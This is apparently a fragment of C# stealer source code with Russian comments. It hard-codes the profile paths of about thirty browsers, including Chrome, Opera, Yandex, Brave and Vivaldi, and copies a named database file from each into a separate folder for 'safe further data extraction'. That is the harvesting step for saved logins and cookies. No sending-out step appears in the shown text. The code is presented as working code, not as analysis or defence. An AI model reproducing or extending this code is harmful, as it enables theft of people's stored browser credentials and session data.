/// <summary> /// Метод для копирования файлов БД в новую папку ( для безопасного дальнейшего извлечения данных ) /// </summary> /// <param name="Folder">Имя папки</param> /// <param name="filename">Имя файла</param> /// <param name="Recursive">Рекурсивное копирование файла</param> public static void CopyInSafeDir(string Folder, string filename, bool Recursive = true) { CombineEx.CreateOrDeleteDirectoryEx(true, Folder, FileAttributes.Normal); // Создаём новую папку куда будем копировать файлы foreach (string files in LCDFiles(filename)) // Проходимся по коллекции путей к файлам { if (CombineEx.ExistsFile(files)) // Проверяем каждый файл { try { // Проверяем что файл не пустой if (new FileInfo(files).Length != 0) { // Копируем в новую папку CombineEx.FileCopy(files, CombineEx.Inizialze(Folder, CombineEx.GetFileName(GetApplication.GetNameCycle(files))), Recursive); // Добавляем в новую коллекцию из новой папки ( безопасной ) GetSecureFile(Folder, GetApplication.GetNameCycle(files)); } } catch { continue; } } else { continue; } } }
/// <summary> /// Коллекция всех базовых путей к файлам /// </summary> /// <param name="filename">Имя файла</param> /// <returns></returns> private static List <string> LCDFiles(string filename) { var retList = new List <string> { CombineEx.Inizialze(GlobalPath.AppData, $@"Opera Software\Opera Stable\{filename}"), CombineEx.Inizialze(GlobalPath.AppData, $@"Opera Software\Opera Developer\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Opera Software\Opera Neon\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.AppData, $@"Avant Profiles\.default\webkit\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Yandex\YandexBrowser\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Google\Chrome\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Comodo\Dragon\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Orbitum\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Torch\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Kometa\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Amigo\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Kinza\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"BraveSoftware\Brave-Browser\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"360Browser\Browser\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"7Star\7Star\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Chromium\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Iridium\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Nichrome\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"MapleStudio\ChromePlus\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Vivaldi\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Epic Privacy Browser\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"CatalinaGroup\Citrio\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"CocCoc\Browser\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Sputnik\Sputnik\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"uCozMedia\Uran\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"CentBrowser\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Elements Browser\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Superbird\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Chedot\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Suhba\User Data\Default\{filename}"), CombineEx.Inizialze(GlobalPath.LocalAppData, $@"Rafotech\Mustang\User Data\Default\{filename}") }; return(retList); }